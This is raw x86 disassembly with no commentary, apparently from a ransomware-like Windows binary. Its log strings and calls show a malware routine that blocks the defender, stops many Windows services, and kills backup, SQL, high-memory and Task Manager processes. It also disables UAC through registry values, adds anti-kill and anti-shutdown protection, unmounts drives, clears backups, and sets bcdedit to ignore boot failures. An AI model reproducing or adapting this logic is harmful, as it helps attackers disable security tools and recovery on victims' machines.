cmp dword [ebp - 0x20], 8
lea eax, [ebp - 0x34]
push dword [ebp - 0x24]
cmovae eax, dword [ebp - 0x34]
lea ecx, [ebp - 0x4c]
push eax
call fcn.00451c60
mov ebx, dword [ebp - 0x50]
mov byte [ebp - 4], 0x24
and ebx, 0xfffffffb
mov edx, dword [ebp - 0x20]
cmp edx, 8
jb 0x4655d3
mov ecx, dword [ebp - 0x34]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x4655c9
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x466eb8
push edx
push ecx
call fcn.0052f5d6
add esp, 8
mov esi, dword [esi]
cmp esi, edi
jne 0x465520
mov ecx, dword [ebp - 0x38]
cmp ecx, 8
lea eax, [ebp - 0x4c]
cmovae eax, dword [ebp - 0x4c]
push eax
push str.___Exec_commands:_____s
call fcn.00463ab0
mov byte [ebp - 4], 0x15
add esp, 8
mov edx, dword [ebp - 0x38]
cmp edx, 8
jb 0x465636
mov ecx, dword [ebp - 0x4c]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x46562c
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x466ed6
push edx
push ecx
call fcn.0052f5d6
add esp, 8
mov ecx, 7
mov dword [ebp - 0x3c], 0
xor eax, eax
mov dword [ebp - 0x38], ecx
mov word [ebp - 0x4c], ax
mov byte [ebp - 4], 0x26
mov edi, dword [0x5f3124]
mov esi, dword [edi]
cmp esi, edi
je 0x465720
nop
mov dword [ebp - 0x50], ebx
mov byte [ebp - 4], 0x27
lea ecx, [ebp - 0x34]
xor eax, eax
mov dword [ebp - 0x24], 0
or ebx, 8
mov word [ebp - 0x34], ax
mov eax, dword [esi + 0x18]
mov dword [ebp - 0x334], ebx
inc eax
lea ebx, [esi + 8]
mov dword [ebp - 0x20], 7
push eax
call fcn.0044bc80
cmp dword [ebx + 0x14], 8
mov eax, dword [ebx + 0x10]
jb 0x46569f
mov ebx, dword [ebx]
push eax
push ebx
lea ecx, [ebp - 0x34]
call fcn.00451c60
push 1
push 0x5daa54
lea ecx, [ebp - 0x34]
call fcn.00451c60
cmp dword [ebp - 0x20], 8
lea eax, [ebp - 0x34]
push dword [ebp - 0x24]
cmovae eax, dword [ebp - 0x34]
lea ecx, [ebp - 0x4c]
push eax
call fcn.00451c60
mov ebx, dword [ebp - 0x50]
mov byte [ebp - 4], 0x26
and ebx, 0xfffffff7
mov edx, dword [ebp - 0x20]
cmp edx, 8
jb 0x465713
mov ecx, dword [ebp - 0x34]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x465709
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x466eb8
push edx
push ecx
call fcn.0052f5d6
add esp, 8
mov esi, dword [esi]
cmp esi, edi
jne 0x465660
mov ecx, dword [ebp - 0x38]
cmp ecx, 8
lea eax, [ebp - 0x4c]
cmovae eax, dword [ebp - 0x4c]
push eax
push str.___Kill_proc:_________s
call fcn.00463ab0
mov byte [ebp - 4], 0x15
add esp, 8
mov edx, dword [ebp - 0x38]
cmp edx, 8
jb 0x465776
mov ecx, dword [ebp - 0x4c]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x46576c
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x466ed6
push edx
push ecx
call fcn.0052f5d6
add esp, 8
mov ecx, 7
mov dword [ebp - 0x3c], 0
xor eax, eax
mov dword [ebp - 0x38], ecx
mov word [ebp - 0x4c], ax
mov byte [ebp - 4], 0x28
mov edi, dword [0x5f3114]
mov esi, dword [edi]
cmp esi, edi
je 0x465860
nop
mov dword [ebp - 0x50], ebx
mov byte [ebp - 4], 0x29
lea ecx, [ebp - 0x34]
xor eax, eax
mov dword [ebp - 0x24], 0
or ebx, 0x10
mov word [ebp - 0x34], ax
mov eax, dword [esi + 0x18]
mov dword [ebp - 0x334], ebx
inc eax
lea ebx, [esi + 8]
mov dword [ebp - 0x20], 7
push eax
call fcn.0044bc80
cmp dword [ebx + 0x14], 8
mov eax, dword [ebx + 0x10]
jb 0x4657df
mov ebx, dword [ebx]
push eax
push ebx
lea ecx, [ebp - 0x34]
call fcn.00451c60
push 1
push 0x5daa54
lea ecx, [ebp - 0x34]
call fcn.00451c60
cmp dword [ebp - 0x20], 8
lea eax, [ebp - 0x34]
push dword [ebp - 0x24]
cmovae eax, dword [ebp - 0x34]
lea ecx, [ebp - 0x4c]
push eax
call fcn.00451c60
mov ebx, dword [ebp - 0x50]
mov byte [ebp - 4], 0x28
and ebx, 0xffffffef
mov edx, dword [ebp - 0x20]
cmp edx, 8
jb 0x465853
mov ecx, dword [ebp - 0x34]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x465849
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x466eb8
push edx
push ecx
call fcn.0052f5d6
add esp, 8
mov esi, dword [esi]
cmp esi, edi
jne 0x4657a0
mov ecx, dword [ebp - 0x38]
cmp ecx, 8
lea eax, [ebp - 0x4c]
cmovae eax, dword [ebp - 0x4c]
push eax
push str.___Kill_service:______s
call fcn.00463ab0
mov byte [ebp - 4], 0x15
add esp, 8
mov edx, dword [ebp - 0x38]
cmp edx, 8
jb 0x4658b6
mov ecx, dword [ebp - 0x4c]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x4658ac
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x466ed6
push edx
push ecx
call fcn.0052f5d6
add esp, 8
push 0x5f32d8
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
cmp byte [0x5f27e1], 0
mov byte [0x5f32d4], 1
je 0x465907
sub esp, 0x18
xor eax, eax
mov ecx, esp
push 0xc
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 7
push str.hashlist.txt
mov word [ecx], ax
call fcn.0044a910
mov ecx, 1
call fcn.0045f840
add esp, 0x18
call fcn.0045f9d0
cmp byte [0x5f27c6], 0
je 0x4659a2
push str.___Block_defender...
call fcn.00463ab0
add esp, 4
mov dword [ebp - 0x3c], 0
xor eax, eax
mov dword [ebp - 0x38], 7
lea ecx, [ebp - 0x4c]
mov word [ebp - 0x4c], ax
push 0x14
push str.cmd.exe__c_DC.exe__D
call fcn.0044a910
mov byte [ebp - 4], 0x2a
lea ecx, [ebp - 0x4c]
cmp dword [ebp - 0x38], 8
push 0x2710
cmovae ecx, dword [ebp - 0x4c]
xor edx, edx
push 0
call fcn.0046ec60
mov byte [ebp - 4], 0x15
add esp, 8
mov edx, dword [ebp - 0x38]
cmp edx, 8
jb 0x4659a2
mov ecx, dword [ebp - 0x4c]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x465998
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x466ed6
push edx
push ecx
call fcn.0052f5d6
add esp, 8
push str.SYSTEMDRIVE
call fcn.00551fb6
mov edx, eax
mov dword [ebp - 0xd0], 0
mov ecx, edx
mov dword [ebp - 0xcc], 7
add esp, 4
xor eax, eax
mov word [ebp - 0xe0], ax
lea esi, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x4659d3
sub ecx, esi
sar ecx, 1
push ecx
push edx
lea ecx, [ebp - 0xe0]
call fcn.0044a910
sub esp, 0x18
mov byte [ebp - 4], 0x2b
lea eax, [ebp - 0xe0]
mov ecx, esp
push eax
call fcn.0044c140
call fcn.00473770
push str.___Establishing_IPC_connection...
mov dword [ebp - 0x338], 0
mov dword [ebp - 0x50], 0
call fcn.00463ab0
mov ebx, 1
add esp, 0x1c
mov esi, ebx
lock xadd dword [0x5f327c], esi
inc esi
mov edi, dword [sym.imp.KERNEL32.dll_CreateThread]
dec esi
push 0
push 0
push esi
push 0x45cce0
push 0
push 0
call edi
mov dword [esi*4 + 0x5f3274], eax
lock xadd dword [0x5f327c], ebx
inc ebx
push 0
push 0
dec ebx
push ebx
push 0x45cce0
push 0
push 0
call edi
push 0x1f4
mov dword [ebx*4 + 0x5f3274], eax
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.___Run_Watcher...
mov byte [ebp - 4], 0x2c
call fcn.00463ab0
add esp, 4
mov dword [ebp - 0x24], 0
xor eax, eax
mov dword [ebp - 0x20], 7
lea ecx, [ebp - 0x34]
mov word [ebp - 0x34], ax
push 1
push 0x5d9f40
call fcn.0044a910
mov ecx, 0x5f2e18
mov byte [ebp - 4], 0x2d
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x465ac1
sub ecx, edx
sar ecx, 1
push ecx
push 0x5f2e18
lea ecx, [ebp - 0x34]
call fcn.00451c60
push 2
push 0x5d9f44
lea ecx, [ebp - 0x34]
call fcn.00451c60
push 0xe
push str._e_watch__pid
lea ecx, [ebp - 0x34]
call fcn.00451c60
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov ecx, eax
lea esi, [ebp - 0x9e]
nop word [eax + eax]
mov eax, 0xcccccccd
sub esi, 2
mul ecx
shr edx, 3
lea eax, [edx + edx*4]
add eax, eax
sub ecx, eax
add ecx, 0x30
mov word [esi], cx
mov ecx, edx
test ecx, ecx
jne 0x465b10
xor eax, eax
mov dword [ebp - 0x3c], ecx
mov word [ebp - 0x4c], ax
mov edx, 7
lea eax, [ebp - 0x9e]
mov dword [ebp - 0x38], edx
cmp esi, eax
je 0x465b5f
sub eax, esi
lea ecx, [ebp - 0x4c]
sar eax, 1
push eax
push esi
call fcn.0044a910
mov edx, dword [ebp - 0x38]
mov ecx, dword [ebp - 0x3c]
cmp edx, 8
mov byte [ebp - 4], 0x2e
lea eax, [ebp - 0x4c]
cmovae eax, dword [ebp - 0x4c]
push ecx
push eax
lea ecx, [ebp - 0x34]
call fcn.00451c60
mov byte [ebp - 4], 0x2d
mov edx, dword [ebp - 0x38]
cmp edx, 8
jb 0x465bb5
mov ecx, dword [ebp - 0x4c]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x465bab
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x466ed6
push edx
push ecx
call fcn.0052f5d6
add esp, 8
push 4
push 0x5daca0
lea ecx, [ebp - 0x34]
call fcn.00451c60
mov esi, dword [ebp - 0x5c]
mov ecx, esi
lea edx, [ecx + 2]
nop dword [eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x465bd0
sub ecx, edx
sar ecx, 1
push ecx
push esi
lea ecx, [ebp - 0x34]
call fcn.00451c60
xor eax, eax
lea ecx, [ebp - 0x34]
cmp byte [0x5f27e0], al
mov esi, 6
push 0x2710
cmovne eax, esi
cmp dword [ebp - 0x20], 8
movzx edx, ax
cmovae ecx, dword [ebp - 0x34]
push 0
call fcn.0046ec60
mov byte [ebp - 4], 0x2c
add esp, 8
mov edx, dword [ebp - 0x20]
cmp edx, 8
jb 0x465c75
mov ecx, dword [ebp - 0x34]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x465c4a
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x466ed6
push edx
push ecx
call fcn.0052f5d6
add esp, 8
jmp 0x465c75
mov dword [ebp - 4], 0x2b
push str.___Unlocker1...
mov byte [ebp - 4], 0x30
call fcn.00463ab0
add esp, 4
mov dword [ebp - 0x24], 0
xor eax, eax
mov dword [ebp - 0x20], 7
lea ecx, [ebp - 0x34]
mov word [ebp - 0x34], ax
push 1
push 0x5d9f40
call fcn.0044a910
mov ecx, 0x5f2e18
mov byte [ebp - 4], 0x31
lea edx, [ecx + 2]
nop dword [eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x465cc0
sub ecx, edx
sar ecx, 1
push ecx
push 0x5f2e18
lea ecx, [ebp - 0x34]
call fcn.00451c60
push 2
push 0x5d9f44
lea ecx, [ebp - 0x34]
call fcn.00451c60
push 6
push str._e_ul1
lea ecx, [ebp - 0x34]
call fcn.00451c60
xor eax, eax
lea ecx, [ebp - 0x34]
cmp byte [0x5f27e0], al
push 0x2710
cmovne eax, esi
cmp dword [ebp - 0x20], 8
movzx edx, ax
cmovae ecx, dword [ebp - 0x34]
push 0
call fcn.0046ec60
mov byte [ebp - 4], 0x30
add esp, 8
mov edx, dword [ebp - 0x20]
mov dword [ebp - 0x338], eax
cmp edx, 8
jb 0x465d88
mov ecx, dword [ebp - 0x34]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x465d5d
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x466ed6
push edx
push ecx
call fcn.0052f5d6
add esp, 8
jmp 0x465d88
mov dword [ebp - 4], 0x2b
push str.___Unlocker2...
mov byte [ebp - 4], 0x33
call fcn.00463ab0
add esp, 4
mov dword [ebp - 0x24], 0
xor eax, eax
mov dword [ebp - 0x20], 7
lea ecx, [ebp - 0x34]
mov word [ebp - 0x34], ax
push 1
push 0x5d9f40
call fcn.0044a910
mov ecx, 0x5f2e18
mov byte [ebp - 4], 0x34
lea edx, [ecx + 2]
nop
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x465dd0
sub ecx, edx
sar ecx, 1
push ecx
push 0x5f2e18
lea ecx, [ebp - 0x34]
call fcn.00451c60
push 2
push 0x5d9f44
lea ecx, [ebp - 0x34]
call fcn.00451c60
push 6
push str._e_ul2
lea ecx, [ebp - 0x34]
call fcn.00451c60
xor eax, eax
lea ecx, [ebp - 0x34]
cmp byte [0x5f27e0], al
push 0x2710
cmovne eax, esi
cmp dword [ebp - 0x20], 8
movzx edx, ax
cmovae ecx, dword [ebp - 0x34]
push 0
call fcn.0046ec60
mov byte [ebp - 4], 0x33
add esp, 8
mov edx, dword [ebp - 0x20]
mov dword [ebp - 0x50], eax
cmp edx, 8
jb 0x465e74
mov ecx, dword [ebp - 0x34]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x465e6a
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x466ed6
push edx
push ecx
call fcn.0052f5d6
add esp, 8
mov dword [ebp - 4], 0x2b
cmp byte [0x5f27d2], 0
mov dword [ebp - 0x334], 0
jne 0x465ed1
mov eax, dword [0x5ec9f0]
cmp eax, 0xc
je 0x465ed1
cmp eax, 0xd
je 0x465ed1
mov byte [ebp - 4], 0x36
cmp byte [0x5f29f3], 0
je 0x465eca
push str.___Everything_Setup...
call fcn.00463ab0
add esp, 4
lea eax, [ebp - 0x334]
mov dl, 1
xor cl, cl
push eax
call fcn.00474680
add esp, 4
mov dword [ebp - 4], 0x2b
push str.___Get_Whitelist...
mov byte [ebp - 4], 0x38
call fcn.00463ab0
add esp, 4
call fcn.0046eac0
mov dword [ebp - 4], 0x2b
cmp byte [0x5f30a1], 0
mov dword [ebp - 0x104], 0
je 0x465f0e
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.KERNEL32.dll_Wow64DisableWow64FsRedirection]
xorps xmm0, xmm0
lea ecx, [ebp - 0x7c]
push 0x5f3114
movlpd qword [ebp - 0x7c], xmm0
call fcn.00467b40
lea ecx, [ebp - 0x7c]
mov byte [ebp - 4], 0x3a
call fcn.004707e0
push str.___Kill_System_Services__telemetry__booster__etc_...
mov byte [ebp - 4], 0x3b
call fcn.00463ab0
add esp, 4
push ecx
mov ecx, str.WSearch
call fcn.0046e0d0
add esp, 4
push ecx
mov ecx, 0x5daef4
call fcn.0046e0d0
add esp, 4
push ecx
mov ecx, str.DusmSvc
call fcn.0046e0d0
add esp, 4
push ecx
mov ecx, str.defragsvc
call fcn.0046e0d0
add esp, 4
push ecx
mov ecx, str.DoSvc
call fcn.0046e0d0
add esp, 4
push ecx
mov ecx, str.wercplsupport
call fcn.0046e0d0
add esp, 4
push ecx
mov ecx, str.SDRSVC
call fcn.0046e0d0
add esp, 4
push ecx
mov ecx, str.TroubleshootingSvc
call fcn.0046e0d0
add esp, 4
push ecx
mov ecx, str.Wecsvc
call fcn.0046e0d0
add esp, 4
push ecx
mov ecx, str.fhsvc
call fcn.0046e0d0
add esp, 4
push ecx
mov ecx, str.wbengine
call fcn.0046e0d0
add esp, 4
push ecx
mov ecx, str.PcaSvc
call fcn.0046e0d0
add esp, 4
push ecx
mov ecx, str.WerSvc
call fcn.0046e0d0
add esp, 4
push ecx
mov ecx, str.SENS
call fcn.0046e0d0
add esp, 4
push ecx
mov ecx, str.AppIDSvc
call fcn.0046e0d0
add esp, 4
push ecx
mov ecx, str.BITS
call fcn.0046e0d0
add esp, 4
push ecx
mov ecx, str.wuauserv
call fcn.0046e0d0
add esp, 4
push ecx
mov ecx, str.SysMain
call fcn.0046e0d0
add esp, 4
push ecx
mov ecx, str.DiagTrack
call fcn.0046e0d0
add esp, 4
push ecx
mov ecx, str.diagnosticshub.standardcollector.service
call fcn.0046e0d0
add esp, 4
push ecx
mov ecx, str.dmwappushservice
call fcn.0046e0d0
add esp, 4
push ecx
mov ecx, str.WMPNetworkSvc
call fcn.0046e0d0
add esp, 4
push ecx
mov ecx, str.DiagTrack
call fcn.0046e0d0
add esp, 4
push str.___Kill_Services_list__no_wait_...
call fcn.00463ab0
add esp, 4
lea ecx, [ebp - 0x7c]
xor dl, dl
push 1
call fcn.0046e210
add esp, 4
push str.___Kill_Services_list__wait_...
call fcn.00463ab0
add esp, 4
lea ecx, [ebp - 0x7c]
mov dl, 1
push 1
call fcn.0046e210
add esp, 4
cmp byte [0x5f27d2], 0
jne 0x4660ea
mov eax, dword [0x5ec9f0]
cmp eax, 0xc
je 0x4660ea
cmp eax, 0xd
je 0x4660ea
push str.___Wait_10_sec...
call fcn.00463ab0
add esp, 4
push 0x2710
call dword [sym.imp.KERNEL32.dll_Sleep]
xorps xmm0, xmm0
mov dword [ebp - 4], 0x3a
push 0x5f3124
lea ecx, [ebp - 0x84]
movlpd qword [ebp - 0x84], xmm0
call fcn.00467b40
push str.___Kill_process_list...
mov byte [ebp - 4], 0x3e
call fcn.00463ab0
add esp, 4
lea ecx, [ebp - 0x84]
mov dl, 1
push 0
push 1
call fcn.0046e810
add esp, 8
push str.___Kill_process_telemetry...
call fcn.00463ab0
add esp, 4
xor dl, dl
mov ecx, str.SearchIndexer.exe
push 1
push 1
call fcn.0046e6c0
add esp, 8
xor dl, dl
mov ecx, str.SearchProtocolHost.exe
push 1
push 1
call fcn.0046e6c0
add esp, 8
xor dl, dl
mov ecx, str.SearchApp.exe
push 1
push 1
call fcn.0046e6c0
add esp, 8
xor dl, dl
mov ecx, str.CompatTelRunner.exe
push 1
push 1
call fcn.0046e6c0
add esp, 8
xor dl, dl
mov ecx, str.wsqmcons.exe
push 1
push 1
call fcn.0046e6c0
add esp, 8
push str.___Kill_process_with_high_RAM...
call fcn.00463ab0
mov eax, dword [0x5f27b0]
add esp, 4
shl eax, 0x14
mov dword [ebp - 0xfc], eax
or eax, 0
je 0x466332
push 0
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov edi, eax
mov dword [ebp - 0x100], edi
test edi, edi
je 0x466332
lea eax, [ebp - 0x330]
mov dword [ebp - 0x330], 0x22c
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
mov ebx, dword [sym.imp.KERNEL32.dll_OpenProcess]
test eax, eax
je 0x4662c1
push dword [ebp - 0x328]
push 0
push 0x100411
call ebx
mov esi, eax
test esi, esi
je 0x4662ab
push 0x2c
lea eax, [ebp - 0xc8]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_K32GetProcessMemoryInfo]
test eax, eax
je 0x4662a4
mov eax, dword [ebp - 0xfc]
cmp dword [ebp - 0xbc], eax
jbe 0x4662a4
push dword [ebp - 0x328]
mov dword [ebp - 0x5c], 1
push 0
push 0x400
call ebx
mov edi, eax
test edi, edi
je 0x46627b
mov eax, dword [0x5f29fc]
test eax, eax
je 0x466274
lea ecx, [ebp - 0x54]
push ecx
push 4
lea ecx, [ebp - 0x5c]
push ecx
push 0x1d
push edi
call eax
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [ebp - 0x5c], 0
jne 0x46629e
lea eax, [ebp - 0x30c]
push eax
push str.___Process__high_RAM_:__s
call fcn.00463ab0
add esp, 8
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov edi, dword [ebp - 0x100]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x330]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x466201
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x466338
mov ebx, dword [sym.imp.KERNEL32.dll_OpenProcess]
push str.___Kill_process_backup__sql...
call fcn.00463ab0
add esp, 4
xorps xmm0, xmm0
movlpd qword [ebp - 0x58], xmm0
mov dword [ebp - 0x58], 0
mov dword [ebp - 0x54], 0
push 0
push 0
call fcn.0044b2a0
mov dword [ebp - 0x58], eax
lea ecx, [ebp - 0x58]
mov byte [ebp - 4], 0x3f
call fcn.00470450
push 0
push 0
mov dl, 1
lea ecx, [ebp - 0x58]
call fcn.0046e810
add esp, 8
cmp byte [0x5f27d2], 0
jne 0x4663b4
mov eax, dword [0x5ec9f0]
cmp eax, 0xc
je 0x4663b4
cmp eax, 0xd
je 0x4663b4
push str.___Wait_10_sec...
call fcn.00463ab0
add esp, 4
push 0x2710
call dword [sym.imp.KERNEL32.dll_Sleep]
lea ecx, [ebp - 0x58]
call fcn.0044ac20
push 0x20
push dword [ebp - 0x58]
call fcn.0052f5d6
add esp, 8
mov dword [ebp - 4], 0x3d
jmp 0x4663f9
push str.___Anti_Kill...
mov byte [ebp - 4], 0x41
call fcn.00463ab0
add esp, 4
mov dl, 1
mov ecx, str.taskmgr.exe
push 0
push 1
call fcn.0046e6c0
add esp, 8
mov dl, 1
mov ecx, str.tasklist.exe
push 0
push 1
call fcn.0046e6c0
add esp, 8
mov dl, 1
mov ecx, str.taskkill.exe
push 0
push 1
call fcn.0046e6c0
add esp, 8
mov dl, 1
mov ecx, str.perfmon.exe
push 0
push 1
call fcn.0046e6c0
add esp, 8
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetProcessShutdownParameters]
mov dword [ebp - 4], 0x3d
jmp 0x466490
cmp byte [0x5f27de], 0
je 0x4664ce
push str.___Self_Protect...
call fcn.00463ab0
mov esi, dword [0x5f2a00]
add esp, 4
test esi, esi
je 0x4664ce
push 4
lea eax, [ebp - 0xfc]
mov dword [ebp - 0xfc], 1
push eax
push 0x1d
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call esi
push str.___Anti_Shutdown...
mov byte [ebp - 4], 0x43
call fcn.00463ab0
add esp, 4
call fcn.0046a5c0
mov dword [ebp - 4], 0x3d
jmp 0x466514
push str.___Long_Path_support...
call fcn.00463ab0
add esp, 4
mov dword [ebp - 0xfc], 1
lea eax, [ebp - 0x100]
push 0
push eax
push 0
push 0x20106
push 0
push 0
push 0
push str.SYSTEMCurrentControlSetControlFileSystem
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
mov esi, dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x466585
push 4
lea eax, [ebp - 0xfc]
push eax
push 4
push 0
push str.LongPathsEnabled
push dword [ebp - 0x100]
call esi
push dword [ebp - 0x100]
mov edi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
call edi
jmp 0x46658b
mov edi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push str.___Kill_Telemetry_policy...
call fcn.00463ab0
add esp, 4
mov dword [ebp - 0xfc], 0
lea eax, [ebp - 0x100]
push 0
push eax
push 0
push 0x20106
push 0
push 0
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesDataCollection
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x4665ee
push 4
lea eax, [ebp - 0xfc]
push eax
push 4
push 0
push str.AllowTelemetry
push dword [ebp - 0x100]
call esi
push dword [ebp - 0x100]
call edi
push str.___UAC...
call fcn.00463ab0
add esp, 4
mov dword [ebp - 0xfc], 0
lea eax, [ebp - 0x100]
push 0
push eax
push 0
push 0x20106
push 0
push 0
push 0
push str.SOFTWAREMICROSOFTWindowsCurrentVersionPoliciesSystem
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x466651
push 4
lea eax, [ebp - 0xfc]
push eax
push 4
push 0
push str.ConsentPromptBehaviorAdmin
push dword [ebp - 0x100]
call esi
push dword [ebp - 0x100]
call edi
push 0
lea eax, [ebp - 0x100]
mov dword [ebp - 0xfc], 0
push eax
push 0
push 0x20106
push 0
push 0
push 0
push str.SOFTWAREMICROSOFTWindowsCurrentVersionPoliciesSystem
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x4666a7
push 4
lea eax, [ebp - 0xfc]
push eax
push 4
push 0
push str.ConsentPromptBehaviorUser
push dword [ebp - 0x100]
call esi
push dword [ebp - 0x100]
call edi
push 0
lea eax, [ebp - 0x100]
mov dword [ebp - 0xfc], 0
push eax
push 0
push 0x20106
push 0
push 0
push 0
push str.SOFTWAREMICROSOFTWindowsCurrentVersionPoliciesSystem
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x4666fd
push 4
lea eax, [ebp - 0xfc]
push eax
push 4
push 0
push str.PromptOnSecureDesktop
push dword [ebp - 0x100]
call esi
push dword [ebp - 0x100]
call edi
push 0
lea eax, [ebp - 0x100]
mov dword [ebp - 0xfc], 0
push eax
push 0
push 0x20106
push 0
push 0
push 0
push str.SOFTWAREMICROSOFTWindowsCurrentVersionPoliciesSystem
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x466753
push 4
lea eax, [ebp - 0xfc]
push eax
push 4
push 0
push str.EnableLUA
push dword [ebp - 0x100]
call esi
push dword [ebp - 0x100]
call edi
push str.Remove_command_line_restrictions...
call fcn.00463ab0
sub esp, 0x14
xor eax, eax
mov ecx, esp
mov dword [ebp - 0x54], esp
push 0xa
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 7
push str.DisableCMD
mov word [ecx], ax
call fcn.0044a910
sub esp, 0x18
mov byte [ebp - 4], 0x45
mov ecx, esp
xor eax, eax
push 0x2a
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 7
push str.SoftwarePoliciesMicrosoftWindowsSystem
mov word [ecx], ax
call fcn.0044a910
mov ecx, SysReAllocString
mov byte [ebp - 4], 0x3d
call fcn.0046a4c0
add esp, 0x18
xor eax, eax
mov ecx, esp
mov dword [ebp - 0x54], esp
push 0xa
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 7
push str.DisableCMD
mov word [ecx], ax
call fcn.0044a910
sub esp, 0x18
mov byte [ebp - 4], 0x46
mov ecx, esp
xor eax, eax
push 0x2a
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 7
push str.SoftwarePoliciesMicrosoftWindowsSystem
mov word [ecx], ax
call fcn.0044a910
mov ecx, reloc.OLEAUT32.dll_SysReAllocString
mov byte [ebp - 4], 0x3d
call fcn.0046a4c0
push str.Unmount_virtual_drives_and_images...
call fcn.00463ab0
add esp, 0x34
call fcn.00476210
cmp byte [0x5f29f2], 0
je 0x466847
mov edx, dword [ebp - 0x334]
call fcn.004756b0
neg al
sbb al, al
and byte [0x5f29f2], al
mov byte [0x5f27d1], 0
call fcn.00467700
sub esp, 0x18
mov ecx, esp
push 0x5ecc38
call fcn.0044c140
call fcn.0045cde0
add esp, 0x18
cmp byte [0x5f27d2], 0
je 0x4668d4
call fcn.00475d40
xor cl, cl
call fcn.00460150
push str.___Wait_10_sec...
call fcn.00463ab0
add esp, 4
push 0x2710
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.00467a20
lea ecx, [ebp - 0x84]
call fcn.004494a0
lea ecx, [ebp - 0x7c]
call fcn.004494a0
lea ecx, [ebp - 0xe0]
call fcn.004494f0
lea ecx, [ebp - 0x74]
call fcn.004494f0
lea ecx, [ebp - 0x9c]
call fcn.004494f0
xor eax, eax
jmp 0x464572
push str.____Repeat_scan_once_more...
call fcn.00463ab0
push str.___Clear_Backup...
call fcn.00463ab0
add esp, 8
push 0
push 0
push 0
push 0x45b830
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x466912
push 0x1388
push eax
call esi
push 0x2710
push 0
xor edx, edx
mov ecx, str.bcdedit.exe__set_default_bootstatuspolicy_ignoreallfailures
call fcn.0046ec60
